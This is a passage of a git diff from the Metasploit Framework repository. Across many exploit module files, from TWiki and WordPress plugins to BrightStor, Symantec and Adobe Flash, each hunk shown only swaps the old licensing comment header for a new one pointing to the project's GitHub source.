on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## # -*- coding: utf-8 -*- diff --git a/modules/exploits/unix/webapp/twiki_history.rb b/modules/exploits/unix/webapp/twiki_history.rb index 848e9a69ca..cc7aeab507 100644 --- a/modules/exploits/unix/webapp/twiki_history.rb +++ b/modules/exploits/unix/webapp/twiki_history.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/twiki_maketext.rb b/modules/exploits/unix/webapp/twiki_maketext.rb index c8773d5d56..f96efa6af0 100644 --- a/modules/exploits/unix/webapp/twiki_maketext.rb +++ b/modules/exploits/unix/webapp/twiki_maketext.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/twiki_search.rb b/modules/exploits/unix/webapp/twiki_search.rb index dbd925c6fb..a09df6375b 100644 --- a/modules/exploits/unix/webapp/twiki_search.rb +++ b/modules/exploits/unix/webapp/twiki_search.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb index 9d4ca927c6..5e932cffe7 100644 --- a/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb +++ b/modules/exploits/unix/webapp/webmin_show_cgi_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb index f221a7bcb1..321429410d 100644 --- a/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb +++ b/modules/exploits/unix/webapp/wp_advanced_custom_fields_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb index fd335a0c3b..a732e9a87d 100644 --- a/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_asset_manager_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb index 065f38a476..c8cd1a4cec 100644 --- a/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb +++ b/modules/exploits/unix/webapp/wp_google_document_embedder_exec.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/wp_property_upload_exec.rb b/modules/exploits/unix/webapp/wp_property_upload_exec.rb index 3bb7abb6ce..dbff0c1769 100644 --- a/modules/exploits/unix/webapp/wp_property_upload_exec.rb +++ b/modules/exploits/unix/webapp/wp_property_upload_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## diff --git a/modules/exploits/unix/webapp/xoda_file_upload.rb b/modules/exploits/unix/webapp/xoda_file_upload.rb index 3f8d28d150..3a362c0d2a 100644 --- a/modules/exploits/unix/webapp/xoda_file_upload.rb +++ b/modules/exploits/unix/webapp/xoda_file_upload.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/zeroshell_exec.rb b/modules/exploits/unix/webapp/zeroshell_exec.rb index 7436cfa6ac..3817c4911c 100644 --- a/modules/exploits/unix/webapp/zeroshell_exec.rb +++ b/modules/exploits/unix/webapp/zeroshell_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb index 77da695d7a..1c9bb02b2c 100644 --- a/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb +++ b/modules/exploits/unix/webapp/zoneminder_packagecontrol_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/unix/webapp/zpanel_username_exec.rb b/modules/exploits/unix/webapp/zpanel_username_exec.rb index 889a21a8a6..ce4352da35 100644 --- a/modules/exploits/unix/webapp/zpanel_username_exec.rb +++ b/modules/exploits/unix/webapp/zpanel_username_exec.rb @@ -1,8 +1,7 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework # Framework web site for more information on licensing and terms of use. -# http://metasploit.com/framework/ ## require 'msf/core' diff --git a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb index 90730048a0..5e3cd321ae 100644 --- a/modules/exploits/windows/antivirus/ams_hndlrsvc.rb +++ b/modules/exploits/windows/antivirus/ams_hndlrsvc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/antivirus/ams_xfr.rb b/modules/exploits/windows/antivirus/ams_xfr.rb index 00158e9d9f..73a54ae645 100644 --- a/modules/exploits/windows/antivirus/ams_xfr.rb +++ b/modules/exploits/windows/antivirus/ams_xfr.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/antivirus/symantec_iao.rb b/modules/exploits/windows/antivirus/symantec_iao.rb index 69ebae0ca7..4762cab17f 100644 --- a/modules/exploits/windows/antivirus/symantec_iao.rb +++ b/modules/exploits/windows/antivirus/symantec_iao.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/antivirus/symantec_rtvscan.rb b/modules/exploits/windows/antivirus/symantec_rtvscan.rb index 5734931496..07d2b699b0 100644 --- a/modules/exploits/windows/antivirus/symantec_rtvscan.rb +++ b/modules/exploits/windows/antivirus/symantec_rtvscan.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb index 93b190faef..e3cd0c964b 100644 --- a/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb +++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb index 89d5dd3576..994d5acd85 100644 --- a/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb +++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect_createbinding.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb b/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb index 128d9b1016..b422a06cf5 100644 --- a/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb +++ b/modules/exploits/windows/antivirus/trendmicro_serverprotect_earthagent.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/arkeia/type77.rb b/modules/exploits/windows/arkeia/type77.rb index 2f6c356b1f..a9ad2d65b4 100644 --- a/modules/exploits/windows/arkeia/type77.rb +++ b/modules/exploits/windows/arkeia/type77.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/backdoor/energizer_duo_payload.rb b/modules/exploits/windows/backdoor/energizer_duo_payload.rb index 6fc56b44b3..8fbfd803a2 100644 --- a/modules/exploits/windows/backdoor/energizer_duo_payload.rb +++ b/modules/exploits/windows/backdoor/energizer_duo_payload.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/backupexec/name_service.rb b/modules/exploits/windows/backupexec/name_service.rb index 662a03bbb1..e59550a872 100644 --- a/modules/exploits/windows/backupexec/name_service.rb +++ b/modules/exploits/windows/backupexec/name_service.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/backupexec/remote_agent.rb b/modules/exploits/windows/backupexec/remote_agent.rb index 5efaba18f4..6f11e89844 100644 --- a/modules/exploits/windows/backupexec/remote_agent.rb +++ b/modules/exploits/windows/backupexec/remote_agent.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/ca_arcserve_342.rb b/modules/exploits/windows/brightstor/ca_arcserve_342.rb index c94fcb1dc3..3e254a40c6 100644 --- a/modules/exploits/windows/brightstor/ca_arcserve_342.rb +++ b/modules/exploits/windows/brightstor/ca_arcserve_342.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/discovery_tcp.rb b/modules/exploits/windows/brightstor/discovery_tcp.rb index 9acd795141..8ab0cb0d5d 100644 --- a/modules/exploits/windows/brightstor/discovery_tcp.rb +++ b/modules/exploits/windows/brightstor/discovery_tcp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/discovery_udp.rb b/modules/exploits/windows/brightstor/discovery_udp.rb index 29cd94f28e..a5a5492691 100644 --- a/modules/exploits/windows/brightstor/discovery_udp.rb +++ b/modules/exploits/windows/brightstor/discovery_udp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/etrust_itm_alert.rb b/modules/exploits/windows/brightstor/etrust_itm_alert.rb index 3d1cbfd3b1..7d9d56dd5e 100644 --- a/modules/exploits/windows/brightstor/etrust_itm_alert.rb +++ b/modules/exploits/windows/brightstor/etrust_itm_alert.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/hsmserver.rb b/modules/exploits/windows/brightstor/hsmserver.rb index bc71313792..8b1d34bfdf 100644 --- a/modules/exploits/windows/brightstor/hsmserver.rb +++ b/modules/exploits/windows/brightstor/hsmserver.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/lgserver.rb b/modules/exploits/windows/brightstor/lgserver.rb index c9a4095e70..57867e4d04 100644 --- a/modules/exploits/windows/brightstor/lgserver.rb +++ b/modules/exploits/windows/brightstor/lgserver.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/lgserver_multi.rb b/modules/exploits/windows/brightstor/lgserver_multi.rb index 0a1c1a7cae..2ab16594ab 100644 --- a/modules/exploits/windows/brightstor/lgserver_multi.rb +++ b/modules/exploits/windows/brightstor/lgserver_multi.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb index 0ecce51efb..69f2d859d9 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxrlogin.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb index 3a40739fe0..6184fea782 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxssetdatagrowthscheduleandfilter.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb index d1e0996f5b..b2350639b3 100644 --- a/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb +++ b/modules/exploits/windows/brightstor/lgserver_rxsuselicenseini.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/license_gcr.rb b/modules/exploits/windows/brightstor/license_gcr.rb index 5d3d9b3497..79cd0ef54d 100644 --- a/modules/exploits/windows/brightstor/license_gcr.rb +++ b/modules/exploits/windows/brightstor/license_gcr.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb b/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb index 34b5d2aed8..eea94c96e0 100644 --- a/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb +++ b/modules/exploits/windows/brightstor/mediasrv_sunrpc.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/message_engine.rb b/modules/exploits/windows/brightstor/message_engine.rb index 0dd0c25738..dc0bd7b7b9 100644 --- a/modules/exploits/windows/brightstor/message_engine.rb +++ b/modules/exploits/windows/brightstor/message_engine.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/message_engine_72.rb b/modules/exploits/windows/brightstor/message_engine_72.rb index 06a86c6aa8..fc191be197 100644 --- a/modules/exploits/windows/brightstor/message_engine_72.rb +++ b/modules/exploits/windows/brightstor/message_engine_72.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/message_engine_heap.rb b/modules/exploits/windows/brightstor/message_engine_heap.rb index ec18716c7b..474811ddcb 100644 --- a/modules/exploits/windows/brightstor/message_engine_heap.rb +++ b/modules/exploits/windows/brightstor/message_engine_heap.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/sql_agent.rb b/modules/exploits/windows/brightstor/sql_agent.rb index 5ec798d8af..88cf2cf919 100644 --- a/modules/exploits/windows/brightstor/sql_agent.rb +++ b/modules/exploits/windows/brightstor/sql_agent.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/tape_engine.rb b/modules/exploits/windows/brightstor/tape_engine.rb index a7078f5fbc..a5618f3be8 100644 --- a/modules/exploits/windows/brightstor/tape_engine.rb +++ b/modules/exploits/windows/brightstor/tape_engine.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/tape_engine_0x8a.rb b/modules/exploits/windows/brightstor/tape_engine_0x8a.rb index 8147250ad9..752aac0ccb 100644 --- a/modules/exploits/windows/brightstor/tape_engine_0x8a.rb +++ b/modules/exploits/windows/brightstor/tape_engine_0x8a.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/tape_engine_8A.rb b/modules/exploits/windows/brightstor/tape_engine_8A.rb index f8ba96a56b..8d26a3c4f3 100644 --- a/modules/exploits/windows/brightstor/tape_engine_8A.rb +++ b/modules/exploits/windows/brightstor/tape_engine_8A.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/brightstor/universal_agent.rb b/modules/exploits/windows/brightstor/universal_agent.rb index 4de45ec8e5..b8ed18d60d 100644 --- a/modules/exploits/windows/brightstor/universal_agent.rb +++ b/modules/exploits/windows/brightstor/universal_agent.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/adobe_cooltype_sing.rb b/modules/exploits/windows/browser/adobe_cooltype_sing.rb index 18fa753c4c..156ee340ae 100644 --- a/modules/exploits/windows/browser/adobe_cooltype_sing.rb +++ b/modules/exploits/windows/browser/adobe_cooltype_sing.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb index 2b46d65175..29ce820735 100644 --- a/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb +++ b/modules/exploits/windows/browser/adobe_flash_mp4_cprt.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/adobe_flash_otf_font.rb b/modules/exploits/windows/browser/adobe_flash_otf_font.rb index 3dcf8046a0..27e14a0a57 100644 --- a/modules/exploits/windows/browser/adobe_flash_otf_font.rb +++ b/modules/exploits/windows/browser/adobe_flash_otf_font.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/adobe_flash_rtmp.rb b/modules/exploits/windows/browser/adobe_flash_rtmp.rb index 7a4e4ae6c9..d893ed3fca 100644 --- a/modules/exploits/windows/browser/adobe_flash_rtmp.rb +++ b/modules/exploits/windows/browser/adobe_flash_rtmp.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/adobe_flash_sps.rb b/modules/exploits/windows/browser/adobe_flash_sps.rb index 0642f31b5b..d74fdd960f 100644 --- a/modules/exploits/windows/browser/adobe_flash_sps.rb +++ b/modules/exploits/windows/browser/adobe_flash_sps.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb index a171129869..8ffa677ff4 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_arrayindexing.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb index d1ca45fd18..18ae32f80a 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_avm.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_avm.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial restrictions. Please see the Metasploit -# web site for more information on licensing and terms of use. -# http://metasploit.com/ +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' diff --git a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb index 5d5dbc4af0..d62a35cbc5 100644 --- a/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb +++ b/modules/exploits/windows/browser/adobe_flashplayer_flash10o.rb @@ -1,8 +1,6 @@ ## -# This file is part of the Metasploit Framework and may be subject to -# redistribution and commercial 